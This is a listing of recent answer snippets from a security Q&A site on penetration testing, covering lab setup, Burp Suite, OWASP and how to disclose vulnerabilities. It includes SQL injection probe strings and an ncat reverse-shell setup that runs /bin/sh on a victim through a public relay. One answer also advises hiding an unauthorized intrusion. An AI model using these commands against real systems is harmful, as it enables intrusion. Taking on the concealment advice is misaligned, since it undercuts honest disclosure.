New answers tagged

2

I've taken a look at the website and I couldn't find any evidence that it has been hacked - however, this does not necessarily mean that the site is clean. Norton claims that your site is a Web Attack: Mass Injection Website and has therefore put the site on a blacklist. This blacklist seems to be used by other services (like sucuri and maybe the company ...


1

As far as I understood, the question is whether you would use your own, "real" account, a freshly created account or a test account provided by the bank. From my experience, any company wants to limit the potential impact when doing penetration tests. Therefore, they probably won't be happy if you start attacking their production systems. Just imagine what ...


1

There are many things you can do with that. Check the web application source code for settings configurations like databases, then check for a way to connect with the db. Keep looking at the source code and you might find more vulnerabilities (rce,sqli) or misconfigurations that can lead you to database dump, or some old backups, passwords disclosures, ...


0

What you are describing is penetration testing. Generally this is done when a company wants to test their security and get the opinion of a specialist in real world attacks. Other times penetration tests are actually required in order for a business to maintain specific certifications. When a penetration test is done it's usually between a third party ...


0

I will assume you are talking about the number of hops between machine A and B. You cannot assume that this number of hops is identical from A to B and from B to A. You cannot even assume this number is the same from A to B for 2 different packets. Routing information can change overtime.


3

You need to figure out if the parameter is being parsed as an integer or a string (most probably as string). If the query is balanced and successful, It won't die(). try .. 1' order by 1-- - or .. 1 order by 1-- - If the first one returns an error, that means the parameter is being parsed as an integer so you don't need a quote (') to perform the ...


0

I would suggest VirtualBox as a solid and widely available environment to manage your pentesting virtual lab. I run OSX Mavericks with Parallels and many VMs including a Kali distro VM. Some effort is needed to configure the wlan NIC to run Wireless attacks in monitor/promiscuous mode. It is especially important to have the right driver for the right wlan ...


2

You should check this github repo: https://github.com/jhaddix/tbhm Welcome! This repo is a conglomeration of tips, tricks, tools, and data analysis to use while doing web application security assessments, and more specifically towards bug hunting in bug bounties. Make sure to also check the video :)


2

OS detection goes a lot further, using all kind of data of the IP and TCP headers fields. If you're into reading, "Silence on the Wire" by Michal Zalewski addresses a lot on this topic.


1

I follow the OWASP top ten as a guide line. First, I usually check all input fields and urls for SQL injection. Then, I'll brute force directories using burp suite. Check XSS, etc etc etc.


1

Burp Suite lets you save/restore the state of your current pen test. For me this typically means a log of all HTTP requests made. In addition to this you can save all HTTP requests that you sent for further examination/exploitation. It sounds like you want to track more than just the HTTP level of your attack, but I'm not sure that there is a single tool ...


1

You could write a script (in bash or python) to replay your commands and act as a local proxy for your commands execution. This way, you could split the results of the log into each commands. This script should not be too long to write for the gain you will get. That would be my solution :)


0

You shouldn't have been there so it doesn't matter what you found, you are currently in the wrong. Until you get permission to look, you have to stay quiet about it and hope they haven't detected your presence.


0

As drewbenn suggested in their second answer, but to put it in a slightly different way, where drewbenn said you can ask for permission, I'm saying you can also “suggest a security check or urge them to do it, with or without your help” with a reason like “I do X or engage in X communities online, and there have been reports or chatter about schools getting ...


1

Assuming you mean web-application penetration testing (you have not clarified), you can start by taking a look at OWASP (Open Web Application Security Project). They have many useful guidelines such as the OWASP ASVS and OWASP CVSS. These will guide you through basic testing methodologies and threat assessment techniques. From there, you can use this ...


2

Use the Socratic method. Expose the vulnerability to whoever is in charge of security as a series of questions. If they, for security reasons (or whatever), can't or don't want to answer your questions, propose hypothetical situations and ask about them.


0

Tell them anonymously, citing everything you did, e.g the penetration tests, results, etc. so that they can check it for themselves (or hire someone). Make sure the message is sent to everyone who has the authority to delve into the issue(s).


4

"Ma'am, I'd just like to let you know that if you slide a strip of metal in the deadbolt of the door to your garage, you can open it with little effort." Just don't disclose. Many of us security folk have found vulnerabilities in our universities' computer systems, but there is nothing to be gained by disclosing it. Let someone else find it and disclose it, ...


1

Can you reveal the vunerability in a permissible way? You found a the issue in a way that is apparently not allowed. Can you present the issue in a way that you do have permission? If so, trying that might be a good idea. It may not even be the original vulnerability, but a bug that, when being investigated or fixed, reveals the vulnerability. For example, ...


7

How should you tell them? You shouldn't. Let's look at the potential consequences here. Since you were poking around on their network without permission (something which is almost certainly in violation of your student agreement and whatever consent you clicked through in order to gain access to their IT system) the very best outcome you can expect is that ...


55

Another thought struck me as I re-read your question (emphasis mine): How should I tell school that they are vulnerable when I wasn't given permission to check? Could you get permission? Once you have permission, you could "discover" the issue (without telling anyone you'd found it before) and report it without worrying about being blamed for hacking ...


77

If there is a teacher or counselor you can trust completely, that you know will keep your name secret even if the school administration starts making threats about firing people, I'd go to them first and talk to them in private. They don't need to understand computers or security (and you don't need to go into detail about the issue), they just need to be ...


1

First of all, if you don't want to perform wireless attacks (sniffing, cracking, impersonating an AP,...) you don't need a Wi-Fi card, any kind of NIC will be enough. For wireless attacks, you clearly need a wireless NIC. This can either be internal, i.e. built-in, or external, i.e. a USB adapter or a PCI Wi-Fi card. Note that if you already have a built-in ...


2

Should Exceptions be shown to the user? No. Displaying exception messages is bad practice. Exceptions should be used to debug the code, they should not be used to display something to the user. If you use the same mechanism - exceptions - for both tasks, it will be very difficult to separate between them. Eventually, you will either show an exception ...


0

On the VM settings, set each of the NICs to Internal Network. This will allow the VMs to communicate with each other but not the outside world. As to getting started, get a premade .ova of Kali and another of Metasploitable. If you happen to have access to a Windows Vista or earlier disk (especially if it doesn't ship with any service packs!), install one ...


0

You're asking a lot of questions. To configure a network in VirtualBox, just go to preferences > networks, and create a host-only network. But then what? what's your plan? you need something to attack. You need to figure out what do you want to focus in. Web applications? Install some webserver and download DVWA, WebGoat or whatever other vulnerable web ...


0

You can do it with ncat on a third machine that is publicly accessible (I use my AWS server): ncat --broker <port> Attacking machine: ncat <public IP> <port> Victim machine: ncat -e /bin/sh <public IP> <port>


1

to deal with the https problem, you need to add the burp certificate to your browser. Firstly: under the proxy tab choose options and export your certificat from burp, save it somewhere: secondly: lunch your browser, go to Chrome Settings/Preferences/Under The Hood/Manage Certificates/Trusted root certification autorithy Tab and click the Import button. ...



Top 50 recent answers are included